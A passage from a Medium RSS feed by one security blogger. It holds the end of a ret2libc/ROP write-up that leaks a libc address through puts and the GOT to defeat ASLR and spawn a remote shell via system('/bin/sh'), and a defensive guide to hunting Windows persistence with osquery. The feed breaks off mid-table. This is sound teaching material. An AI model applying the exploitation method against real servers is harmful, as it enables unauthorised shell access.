located.</p><p><strong>PLT and GOT</strong></p><p>The Global Offset Table (GOT) is made up of the .got and .got.plt sections. The .got segment holds the addresses of the functions in libc. The addresses in GOT are populated dynamically by the dynamic linker while the program is running. The .got.plt holds a reference to .got for each symbol.</p><p>The Procedure Linkage Table (PLT) contains only one section, .plt. For each function in an outside library referenced in our program, we have an entry in .plt which is actually a jump to the address in .got.plt for that function. <a href="https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro">Here</a> I have found a very good explanation of how shared functions are linked. <a href="https://www.youtube.com/watch?v=kUk5pw4w0h4">LiveOverflow</a> also has a nice video where he explains the process.</p><pre>The first time a shared function is called, the GOT contains a pointer back to the PLT, where the dynamic linker is called to find the actual location of the function in question. The location found is then written to the GOT. The second time a function is called, the GOT contains the known location of the function. This is called “lazy binding.” This is because it is unlikely that the location of the shared function has changed and it saves some CPU cycles as well.</pre><p><strong>Leaking addresses</strong></p><p>We have to keep in mind that we can’t place shellcode on the stack because it is Non-Executable. To overcome this we will use a technique called <a href="https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf">Return Oriented Programming</a> (ROP). This means that we will overflow the return address with the address of functions and gadgets (instructions) already in memory and jump from one to another in order to exploit the vulnerability.</p><p>The easiest way is to use the address of the <a href="http://man7.org/linux/man-pages/man3/system.3.html">system</a> function in libc with an argument of /bin/sh which can also be found in libc. However, because of ASLR, their addresses are randomised. To bypass the randomisation we need to leak the address of a function (in our case puts) in .got and then compute the address of system and /bin/sh by using the difference (although the base address of libc is randomised the position and offsets of symbols in it are the same).</p><p>We will attempt to leak the address of puts in libc. Hence, we need the address of puts in PLT, which will be called to leak the address of puts in GOT. In addition, we need a pop rdi gadget so that we can pass puts in GOT as an argument. The reason is that the calling convention in x64 is that the parameters are stored in registers and the first argument is store in the rdi register.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7J-oDBesUcrvuNjQUzCJmg.png" /><figcaption>Finding the required addresses</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*kddQJIQKafrx3wGMUJYl2w.png" /><figcaption>Script used to leak the address of puts in libc (ignore plt_main for now)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ot-nxpvA9YsdJCRUkcLVJg.png" /><figcaption>Leaking the address of libc on the server</figcaption></figure><p>Now we need to find out the version of libc used on the server. We will use a tool called <a href="https://github.com/niklasb/libc-database">libc-database</a>. To find the base of libc we look at the offset of puts and subtract it from the leaked address. In addition, we look for the offset of the system function and /bin/sh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*upBTDco95AQlQ9pEPthftg.png" /><figcaption>Finding libc and the addresses of puts, system and /bin/sh inside it</figcaption></figure><p><strong>Exploitation</strong></p><p>At this point, we have all the pieces we need for exploitation. The flow of the exploit will look like this. First, we leak the address of puts and call main again. Then we compute the address of system and /bin/sh by adding their offsets to the base address of libc. Finally, we create the exploit by calling system with a parameter of /bin/sh called by using pop rdi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*dTFj5QNIxrxReBFMRviVAw.png" /><figcaption>The script used for exploitation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dP9cTrwgLsx3o6xVxqv4zg.png" /><figcaption>The remote exploit</figcaption></figure><p><strong>Contact</strong></p><p>If you would like to get in touch you can contact me on one of the following platforms:</p><ul><li><a href="https://twitter.com/eu_stash">Twitter</a></li><li><a href="https://www.linkedin.com/in/gabriel-pirjolescu-400901130/">LinkedIn</a></li></ul><p><strong>Sources:</strong></p><ul><li><a href="https://www.hex-rays.com/products/ida/">https://www.hex-rays.com/products/ida/</a></li><li><a href="https://error4hack.com/best-free-exe-decompilers-and-windows-disassembler/">https://error4hack.com/best-free-exe-decompilers-and-windows-disassembler/</a></li><li><a href="https://c9x.me/x86/html/file_module_x86_id_280.html">https://c9x.me/x86/html/file_module_x86_id_280.html</a></li><li><a href="https://www.gnu.org/software/gdb/">https://www.gnu.org/software/gdb/</a></li><li><a href="https://github.com/longld/peda">https://github.com/longld/peda</a></li><li><a href="https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro">https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro</a></li><li><a href="https://blog.morphisec.com/aslr-what-it-is-and-what-it-isnt/">https://blog.morphisec.com/aslr-what-it-is-and-what-it-isnt/</a></li><li><a href="https://www.youtube.com/watch?v=kUk5pw4w0h4">https://www.youtube.com/watch?v=kUk5pw4w0h4</a></li><li><a href="https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html">https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html</a></li><li><a href="https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf">https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf</a></li><li><a href="https://jlajara.gitlab.io/posts/2019/06/15/Privesc_Ret2libc_ASLR_64.html">https://jlajara.gitlab.io/posts/2019/06/15/Privesc_Ret2libc_ASLR_64.html</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b40179cf5573" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Demystifying Windows Malware Hunting — Part 1 — Detecting Persistence with Osquery]]></title>
            <link>https://medium.com/@gabriel.pirjolescu/demystifying-windows-malware-hunting-part-1-detecting-persistence-with-osquery-b53573c2aac0?source=rss-47acca63e51------2</link>
            <guid isPermaLink="false">https://medium.com/p/b53573c2aac0</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[osquery]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Gabriel Pirjolescu]]></dc:creator>
            <pubDate>Thu, 26 Mar 2020 19:00:49 GMT</pubDate>
            <atom:updated>2020-04-01T14:40:52.795Z</atom:updated>
            <content:encoded><![CDATA[<h3>Demystifying Windows Malware Hunting — Part 1 — Detecting Persistence with osquery</h3><p>The idea for this series came up when I realised that I don’t have a lot of experience with how Windows malware operates and how to look for indicators on a system already compromised. Therefore, I have decided to dive into the different techniques used to hunt for malware. The purpose of the series is to explain how malware works on Windows to users with no previous security experience, but with a basic understanding of operating system concepts. Besides, I will explain where to look for malware artifacts and some tools to discover them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*IoZ8TGmOfTN6xvS9MIFScQ.jpeg" /></figure><p>In this post, I will try to describe the methods used by malware to achieve persistence on a system. <a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a> incorporates how a program makes sure that it will be started again after a system shut down, or maintains access to the system after alterations that would normally cut off the access, like changing credentials.</p><p><strong>Setup</strong></p><p>The actions shown in this post can be performed locally on the infected machine, or remotely from another host. I am more comfortable to work from my own machine, thus I will explain how I have set up my environment. However, you can skip this entirely if you want to do it locally on the infected machine.</p><p>The first step was to enable <a href="https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/clients/remote-desktop-allow-access">Remote Desktop</a> (RDP) on the remote host, so I can have easy access to it. This <a href="https://opensource.com/article/18/6/linux-remote-desktop">article</a> shows step-by-step how to do it. If your local host is also Windows, the RDP client comes pre-installed. However, if you have a Linux host, you will need to install additional software. <a href="https://remmina.org/">Remmina</a> is the perfect tool for this since it works flawlessly.</p><p>In addition to RDP, I also like to have a command-line connection. Windows 10 comes with an OpenSSH package that can be installed and configured. This Microsoft <a href="https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse">post</a> explains how to do it. However, I never managed to set the right permissions on the installation folder so I wasn’t able to start the service. The alternative was to use this <a href="https://github.com/PowerShell/openssh-portable">implementation</a>. <a href="https://github.com/PowerShell/Win32-OpenSSH/wiki/Install-Win32-OpenSSH">Here</a> you can find the installation instruction. Keep in mind to run FixHostFilePermissions.ps1 and FixUserFilePermissions.ps1 before starting the service.</p><p>I have to mention that you need to be on the same network for both types of connections to work. It is possible to connect from different networks, but this is beyond the scope of this article.</p><p><strong>Persistence</strong></p><p>The tools used for this post are <a href="https://osquery.io/">osquery</a> and <a href="https://github.com/keydet89/RegRipper2.8">RegRipper</a>. osquery is a tool developed by Facebook that works on Windows, OS X, Linux and FreeBSD and exposes an operating system as a high-performance relational database. You can use it to explore what is happening in the OS in real-time or configure it to take snapshots at different intervals and log it in a database. On the other hand, RegRipper is a tool for extracting and parsing information from the registry hive. As a methodology, I have chosen to parse all the <a href="https://attack.mitre.org/matrices/enterprise/windows/">Mitre Att&amp;Ck</a> persistence techniques, explain and look for them one-by-one. Some of the osquery queries were inspired by this very useful <a href="https://github.com/teoseller/osquery-attck">project</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*hBLhx1yPvx3ll-ZHIg70kQ.png" /><figcaption><a href="https://osquery.io/">https://osquery.io/</a></figcaption></figure><p>Before starting, I would also like to explain an important term. Dynamic Link Libraries (DLLs) are similar to dynamically link shared object libraries (.so) files in Linux. They are used to expose functions for executables to use. Therefore, to avoid adding boilerplate code in an executable and increasing the size too much, reusable (system and not only) functions are stored in DLLs that have their names hard-coded in the executables. When it executes, the binary loads the functionalities from the DLLs.</p><p><strong>Accessibility Features</strong></p><p>Windows give the possibility for an accessibility feature to be enabled by pressing a key combination before user login. The two programs usually launched by this feature are C:\Windows\System32\sethc.exe (when the shift key is pressed five times) and C:\Windows\System32\utilman.exe (when the key combination Windows+U is pressed).</p><p>An attacker can potentially replace the binaries with malicious ones, or modify a registry key to configure another program as a debugger for the accessibility ones. On newer versions of Windows, the binary replacing these two must be signed, placed in %systemdir%\ and protected by Windows File or Resource Protection.</p><p>To detect replacement, check the binaries manually. For the debugger attack, the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options can be looked into by using the query below. Next, check each of the subkeys if they have a Debugger entry attached. The debugger method can be used as a stand-alone persistence used with any usual system program.</p><pre>osquery&gt; select name, type, data from registry where key=&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options&#39;;</pre><p><strong>AppCert DDLs</strong></p><p>Dynamic Link Libraries mentioned in the AppCert DLLs registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager are loaded into every process that calls the techniques following functions from the Windows API CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenWand WinExec.</p><p>To extract the AppCert DLLs we can use RegRipper. Keep in mind that we can’t access any of the registry hives directly. Therefore, we’ll have to save them to another location. After extracting the list of DLLs, we can submit it to Virus Total for a scan if we don’t spot anything suspicious just by looking at them (this is valid for any of the other hunting methods where we get a list of DLLs).</p><pre># Save a copy of the registry hive to use it<br>reg save HKLM\SYSTEM C:\system<br></pre><pre># Extract the information using the appcertdlls plugin<br>rip.exe -r C:\system -p appcertdlls &gt; appcertdlls.txt </pre><p><strong>AppInit DLLs</strong></p><p>Similar to the AppCert DLLs, AppInit DLLs are loaded into every process that loads user32.dll. This means almost every program since user32.dll is used nearly everywhere. The registry keys used are HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows and HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows. AppInit DLLs are disabled in Windows 8 and higher when secure boot is enabled.</p><p>RegRipper also has a plugin for extracting these.</p><pre># Save a copy of the registry hive to use it<br>reg save HKLM\SYSTEM C:\system</pre><pre># Extract the information using the appinitdlls plugin<br>rip.exe -r C:\system -p appinitdlls &gt; appinitdlls.txt</pre><p><strong>Application Shimming</strong></p><p>Windows needed a way to allow for backward compatibility of software when the OS changes functionalities. To achieve this they introduced Microsoft Windows Application Compatibility Framework. It allows developers to apply fixes to an application without rewriting code. When a binary is executed, the shim cache tells it if it needs to use the shim database. If so, hooking is used to redirect the code. To detect it we can perform several queries.</p><pre># Find shim databases<br>osquery&gt; select name, type, data from registry where key=&#39;HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb&#39;;</pre><pre>osquery&gt; select name, type, data from registry where key=&#39;HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\appcompatflags\custom\setuphost.exe&#39;;</pre><p><strong>Authentication Package</strong></p><p>Authentication Package DLLs are loaded by the Local Security Authority (LSA) at system start. The attacker can use the registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\with the key &quot;Authentication Packages&quot;. The executable in the value will be executed when the authentication package is loaded.</p><pre>osquery&gt; select name, type, data from registry where key=&#39;HKEY_LOCAL_MACHINE\system\CurrentControlSet\Control\Lsa\Authentication Package&#39;;</pre><p><strong>BITS Jobs</strong></p><p>Background Intelligent Transfer Service (BITS) is a file transfer mechanism used in Windows machines. It operates in the background, asynchronously, without interrupting other applications. Tasks can be queued for BITS and it is accessible through PowerShell and BITSAdmin tools. BITS allows persistence by creating long-standing jobs or invoking an arbitrary program when a job completes or errors. The only way to hunt for this is to check if it was previously run.</p><pre>osquery&gt; select * from file WHERE directory = &#39;C:\Windows\Prefetch\&#39; and filename like &#39;%bitsadmin%&#39;;</pre><p><strong>Browser Extensions</strong></p><p>Malicious browser extensions can be used by attackers to browse to websites in the background, steal all information that a user enters into a browser, include credentials and install other malicious pieces of software on the machine.</p><pre>osquery&gt; select u.username, ce.name, ce.identifier, ce.version, ce.description, ce.locale, ce.update_url, ce.author, ce.persistent, ce.path from chrome_extensions ce <br>LEFT JOIN users u ON ce.uid = u.uid;</pre><p><strong>File Association</strong></p><p>File associations are used to check the default program (associated with a file extension) when a file is open. File associations are stored in the registry and can be modified to change the association for a file. They are stored under HKEY_CLASSES_ROOT. A user can override its preferences by adding subkeys to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts.</p><pre># Get the list of extensions<br>osquery&gt; select name, type, data from registry where key=&#39;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts&#39;;</pre><pre># Example for the .txt extension<br>osquery&gt; select name, type, data from registry where key=&#39;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt\OpenWithList&#39;;</pre><pre>+---------+--------+-------------+<br>| name    | type   | data        |<br>+---------+--------+-------------+<br>| a       | REG_SZ | chrome.exe  |<br>| b       | REG_SZ | ba          |<br>| c       | REG_SZ | cab         |<br>| MRUList | REG_SZ | adbc        |<br>| d       | REG_SZ | notepad.exe |<br>+---------+--------+-------------+</pre><p><strong>Component Object Model Hijacking</strong></p><p>The Component Object Model (COM) is used by Windows to enable interaction between different parts of the system. Attackers can hijack the references and relationships used by inserting malicious code. To do this a registry change is required so that it breaks the execution. This leads to the attacker’s object being executed instead.</p><p>First, entries in HKEY_CURRENT_USER\Software\Classes\CLSID\ should be investigated since objects that reside there are loaded before machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.</p><pre># Find all the subkeys<br>osquery&gt; select name, type, data from registry where key=&#39;HKEY_CURRENT_USER\Software\Classes\CLSID\&#39;;</pre><pre>+----------------------------------------+--------+------+<br>| name                                   | type   | data |<br>+----------------------------------------+--------+------+<br>| {018D5C66-4533-4307-9B53-224DE2ED1FE6} | subkey |      |<br>| {021E4F06-9DCC-49AD-88CF-ECC2DA314C8A} | subkey |      |<br>| {031E4825-7B94-4dc3-B131-E946B44C8DD5} | subkey |      |<br>| {1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E} | subkey |      |<br>| {389510b7-9e58-40d7-98bf-60b911cb0ea9} | subkey |      |<br>| {4410DC33-BC7C-496B-AA84-4AEA3EEE75F7} | subkey |      |<br>| {5AB7172C-9C11-405C-8DD5-AF20F3606282} | subkey |      |<br>| {71DCE5D6-4B57-496B-AC21-CD5B54EB93FD} | subkey |      |<br>| {7AFDFDDB-F914-11E4-8377-6C3BE50D980C} | subkey |      |<br>| {82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E} | subkey |      |<br>| {94269C4E-071A-4116-90E6-52E557067E4E} | subkey |      |<br>| {9489FEB2-1925-4D01-B788-6D912C70F7F2} | subkey |      |<br>| {9AA2F32D-362A-42D9-9328-24A483E2CCC3} | subkey |      |<br>| {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} | subkey |      |<br>| {A78ED123-AB77-406B-9962-2A5D9D2F7F30} | subkey |      |<br>| {A926714B-7BFC-4D08-A035-80021395FFA8} | subkey |      |<br>| {BBACC218-34EA-4666-9D7A-C78F2274A524} | subkey |      |<br>| {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} | subkey |      |<br>| {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} | subkey |      |<br>| {F241C880-6982-4CE5-8CF7-7085BA96DA5A} | subkey |      |<br>+----------------------------------------+--------+------+</pre><pre># Investigate individual subkey<br>osquery&gt; select name, type, data from registry where key=&#39;HKEY_CURRENT_USER\Software\Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}&#39;;<br>+--------------------------------+-----------+----------+<br>| name                           | type      | data     |<br>+--------------------------------+-----------+----------+<br>| DefaultIcon                    | subkey    |          |<br>| InProcServer32                 | subkey    |          |<br>| Instance                       | subkey    |          |<br>| ShellFolder                    | subkey    |          |<br>| (Default)                      | REG_SZ    | OneDrive |<br>| System.IsPinnedToNameSpaceTree | REG_DWORD | 1        |<br>| SortOrderIndex                 | REG_DWORD | 66       |<br>+--------------------------------+-----------+----------+</pre><pre># Similar query on the machine objects<br>osquery&gt; select name, type, data from registry where key=&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\&#39;;</pre><p><strong>Create Account</strong></p><p>Attackers can create new accounts on the system to maintain persistence.</p><pre>osquery&gt; SELECT * FROM users;</pre><p><strong>File System Permission Weakness</strong></p><p>Different processes can execute binaries as part of their functionality. If the directory in which the executable is placed has write permissions for the account the attacker is using, the binary can be replaced to achieve persistence. A variation of this technique is performed when self-extracting installers use sub-directories of %TEMP% to drop executables or DLLs. Therefore, the attacker can replace in a similar fashion with their own malicious binaries.</p><pre># Check directories under C:\Windows<br>osquery&gt; select f.path,f.directory,u.username,f.hard_links,f.symlink,datetime(f.btime, &#39;unixepoch&#39;, &#39;UTC&#39;) as btime, datetime(f.atime, &#39;unixepoch&#39;, &#39;UTC&#39;) as <br>atime, datetime(f.ctime, &#39;unixepoch&#39;, &#39;UTC&#39;) as ctime, datetime(f.mtime, &#39;unixepoch&#39;, &#39;UTC&#39;) as mtime from file f LEFT JOIN users u on f.uid=u.uid where f.pat<br>h like &#39;C:\\Windows\\%&#39; AND f.type=&#39;directory&#39;;</pre><pre># Check directories under C:\users\%\AppData\Roaming\<br>osquery&gt; select f.path,f.directory,u.username,f.hard_links,f.symlink,datetime(f.btime, &#39;unixepoch&#39;, &#39;UTC&#39;) as btime, datetime(f.atime, &#39;unixepoch&#39;, &#39;UTC&#39;) as atime, datetime(f.ctime, &#39;unixepoch&#39;, &#39;UTC&#39;) as ctime, datetime(f.mtime, &#39;unixepoch&#39;, &#39;UTC&#39;) as mtime from file f LEFT JOIN users u on f.uid=u.uid where f.path <br>like &#39;C:\users\%\AppData\Roaming\%&#39; AND f.type=&#39;directory&#39;;</pre><pre># Check directories under C:\Users\%\AppData\Local<br>osquery&gt; select f.path,f.directory,u.username,f.hard_links,f.symlink,datetime(f.btime, &#39;unixepoch&#39;, &#39;UTC&#39;) as btime, datetime(f.atime, &#39;unixepoch&#39;, &#39;UTC&#39;) as atime, datetime(f.ctime, &#39;unixepoch&#39;, &#39;UTC&#39;) as ctime, datetime(f.mtime, &#39;unixepoch&#39;, &#39;UTC&#39;) as mtime from file f LEFT JOIN users u on f.uid=u.uid where f.path <br>like &#39;C:\users\%\AppData\Local\%&#39; AND f.type=&#39;directory&#39;;</pre><p><strong>Logon Scripts</strong></p><p>Scripts can be executed at logon time by add entries in the registry. They can be altered or added by an attacker to facilitate the execution of malicious code.</p><pre># Search for the location of logon scripts<br>osquery&gt; select * from registry where key=&#39;HKEY_CURRENT_USER\\Environment&#39;;</pre><p><strong>Modify Existing Services and Adding New Services</strong></p><p>The information about a service is stored in the registry. An attacker can either add a new malicious service or alter the path to the executable of an existing one.</p><pre># Search for existing services<br>osquery&gt; select * from registry where key=&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services&#39;;</pre><pre># Look up the information for a specific service (e.g. XboxNetApiSvc)<br>osquery&gt; select * from registry where key=&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\XboxNetApiSvc&#39;;</pre><p><strong>Netsh Helper DLL</strong></p><p>Netshell is a command-line utility used to interact with the network configuration of a system. Its job is to add helper DLLs with extending the functionality of the service. The paths registered for netsh.exe are entered under the location HKLM\SOFTWARE\Microsoft\Netsh. Persistence can be achieved by adding a DLL and Netsh must be called by another benign software that is present on the system.</p><pre># Query the DLLs used by Netsh<br>osquery&gt; select * from registry where key=&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh&#39;;</pre><pre># Check when Netsh was ran the last time<br>osquery&gt; select * from file WHERE directory = &#39;C:\Windows\Prefetch\&#39; and filename like &#39;%netsh%&#39;;</pre><p><strong>PowerShell Profile</strong></p><p>A PowerShell profile is a script that runs when PowerShell starts and can be used as a logon script to customise user environments. Adversaries can modify profiles to achieve persistence. If a PowerShell profile is not normally used on a machine, the presence of one might be an indicator of compromise.</p><pre># Search for a PowerShell profile<br>osquery&gt; select * from file WHERE directory = &#39;C:\Windows\&#39; and filename like &#39;%profile%&#39;;</pre><p><strong>Registry Run Keys / Startup Folder and Shortcut Modification</strong></p><p>Adding an entry to the run keys in the registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account’s associated permissions level.</p><p>Shortcurts (symbolic links in Linux) are ways to reference files in other locations. Attackers can change their reference in order to achieve persistence.</p><pre># Check items under Roaming\Microsoft\Windows\Start Menu\Programs\Startup<br>osquery&gt; select f.path, f.directory, u.username, f.hard_links, f.symlink, datetime(f.btime, &#39;unixepoch&#39;, &#39;UTC&#39;) as btime, datetime(f.atime, &#39;unixepoch&#39;, &#39;UTC&#39;) as atime, datetime(f.ctime, &#39;unixepoch&#39;, &#39;UTC&#39;) as ctime, datetime(f.mtime, &#39;unixepoch&#39;, &#39;UTC&#39;) as mtime from file f LEFT JOIN users u on f.uid=u.uid where f.path <br>like &#39;C:\users\%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\%&#39;;</pre><pre># Check items creation under Roaming\Microsoft\Windows\Start Menu\Programs<br>osquery&gt; select f.path, f.directory, u.username, f.hard_links, f.symlink, datetime(f.btime, &#39;unixepoch&#39;, &#39;UTC&#39;) as btime, datetime(f.atime, &#39;unixepoch&#39;, &#39;UTC&#39;) as atime, datetime(f.ctime, &#39;unixepoch&#39;, &#39;UTC&#39;) as ctime, datetime(f.mtime, &#39;unixepoch&#39;, &#39;UTC&#39;) as mtime from file f LEFT JOIN users u on f.uid=u.uid where f.path <br>like &#39;C:\users\%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\%&#39;;</pre><pre># Check items creation under ProgramData\Microsoft\Windows\Start Menu<br>osquery&gt; select f.path, f.directory, u.username, f.hard_links, f.symlink, datetime(f.btime, &#39;unixepoch&#39;, &#39;UTC&#39;) as btime, datetime(f.atime, &#39;unixepoch&#39;, &#39;UTC&#39;) as atime, datetime(f.ctime, &#39;unixepoch&#39;, &#39;UTC&#39;) as ctime, datetime(f.mtime, &#39;unixepoch&#39;, &#39;UTC&#39;) as mtime from file f LEFT JOIN users u on f.uid=u.uid where f.path <br>like &#39;C:\ProgramData\Microsoft\Windows\Start Menu\%&#39;;</pre><pre># Check items creation under ProgramData\Microsoft\Windows\Start Menu\Programs<br>osquery&gt; select f.path,f.directory,u.username,f.hard_links,f.symlink,datetime(f.btime, &#39;unixepoch&#39;, &#39;UTC&#39;) as btime, datetime(f.atime, &#39;unixepoch&#39;, &#39;UTC&#39;) as atime, datetime(f.ctime, &#39;unixepoch&#39;, &#39;UTC&#39;) as ctime, datetime(f.mtime, &#39;unixepoch&#39;, &#39;UTC&#39;) as mtime from file f LEFT JOIN users u on f.uid=u.uid where f.path <br>like &#39;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\%&#39;;</pre><pre># Check the content of the key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion<br>osquery&gt; select name, type, data from registry where key=&#39;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&#39;;</pre><pre># Check the content of the key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run<br>osquery&gt; select name, type, data from registry where key=&#39;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run&#39;;</pre><pre># Check osquery predefined startup_items table<br>osquery&gt; select * from startup_items;</pre><p><strong>Scheduled Task</strong></p><p>Windows can schedule programs or scripts to be executed at a certain date and time by using utilities such as at and schtasks and the Windows Task Scheduler.</p><pre># Query the osquery table scheduled_tasks<br>osquery&gt; select name, action, path, enabled, datetime(next_run_time,&#39;unixepoch&#39;,&#39;UTC&#39;) from scheduled_tasks;</pre><p><strong>Screensaver</strong></p><p>Screensavers are actually executables with a .scr file extension that execute after a certain amount of time. An attacker can place malware and disguise it as an executable to maintain persistence.</p><pre># Check the registry location HKEY_CURRENT_USER\\Control Panel\\Desktop<br>osquery&gt; select name,type,data from registry where key=&#39;HKEY_CURRENT_USER\Control Panel\Desktop&#39;;</pre><p><strong>Time providers</strong></p><p>The Windows Time service (W32Time) enables time synchronization. W32Time time providers are responsible for retrieving time stamps from network resources and outputting these values to other network clients. The providers are DLLs registered in two subkeys. The providers are loaded at startup by the time provider manager.</p><pre>osquery&gt; select name, data from registry where key=&#39;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient&#39;;    <br>+----------------------------------+-----------------------------------+<br>| name                             | data                              |<br>+----------------------------------+-----------------------------------+<br>| AllowNonstandardModeCombinations | 1                                 |<br>| CompatibilityFlags               | -2147483648                       |<br>| CrossSiteSyncFlags               | 2                                 |<br>| DllName                          | %systemroot%\system32\w32time.dll |<br>| Enabled                          | 1                                 |<br>| EventLogFlags                    | 1                                 |<br>| InputProvider                    | 1                                 |<br>| LargeSampleSkew                  | 3                                 |<br>| ResolvePeerBackoffMaxTimes       | 7                                 |<br>| ResolvePeerBackoffMinutes        | 15                                |<br>| SignatureAuthAllowed             | 1                                 |<br>| SpecialPollInterval              | 604800                            |<br>| SpecialPollTimeRemaining         | time.windows.com,7e2b0d0          |<br>+----------------------------------+-----------------------------------+</pre><pre>osquery&gt; select name, data from registry where key=&#39;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\VMICTimeProvider&#39;;<br>+---------------+--------------------------------------------+<br>| name          | data                                       |<br>+---------------+--------------------------------------------+<br>| Parameters    |                                            |<br>| DllName       | %SystemRoot%\System32\vmictimeprovider.dll |<br>| Enabled       | 1                                          |<br>| InputProvider | 1                                          |<br>+---------------+--------------------------------------------+</pre><p><strong>Winlogon Helper DLL</strong></p><p>At logon, logoff and when Ctrl+Alt+Delete is pressed, an executable called winlogon.exeis executed. Two registry locations hold additional helpers for Winlogon.</p><pre>osquery&gt; select name, data from registry where key=&#39;HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon&#39;;        <br>+-------------------------+----------------------------------------+<br>| name                    | data                                   |<br>+-------------------------+----------------------------------------+<br>| AlternateShells         |                                        |<br>| GPExtensions            |                                        |<br>| DefaultDomainName       |                                        |<br>| DefaultUserName         |                                        |<br>| PreCreateKnownFolders   | {A520A1A4-1780-4FF6-BD18-167343C5AF16} |<br>| Shell                   | explorer.exe                           |<br>| ShellCritical           | 0                                      |<br>| SiHostCritical          | 0                                      |<br>| SiHostReadyTimeOut      | 0                                      |<br>| SiHostRestartCountLimit | 0                                      |<br>| SiHostRestartTimeGap    | 0                                      |<br>+-------------------------+----------------------------------------+</pre><pre>osquery&gt; select name, data from registry where key=&#39;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon&#39;;      <br>+------------------------------+------------------------------------------------+<br>| name                         | data                                           |<br>+------------------------------+------------------------------------------------+<br>| AlternateShells              |                                                |<br>| GPExtensions                 |                                                |<br>| UserDefaults                 |                                                |<br>| AutoLogonChecked             |                                                |<br>| VolatileUserMgrKey           |                                                |<br>| AutoRestartShell             | 1                                              |<br>| Background                   | 0 0 0                                          |<br>| CachedLogonsCount            | 10                                             |<br>| DebugServerCommand           | no                                             |<br>| DisableBackButton            | 1                                              |<br>| EnableSIHostIntegration      | 1                                              |<br>| ForceUnlockLogon             | 0                                              |<br>| LegalNoticeCaption           |                                                |<br>| LegalNoticeText              |                                                |<br>| PasswordExpiryWarning        | 5                                              |<br>| PowerdownAfterShutdown       | 0                                              |<br>| PreCreateKnownFolders        | {A520A1A4-1780-4FF6-BD18-167343C5AF16}         |<br>| ReportBootOk                 | 1                                              |<br>| Shell                        | explorer.exe                                   |<br>| ShellCritical                | 0                                              |<br>| ShellInfrastructure          | sihost.exe                                     |<br>| SiHostCritical               | 0                                              |<br>| SiHostReadyTimeOut           | 0                                           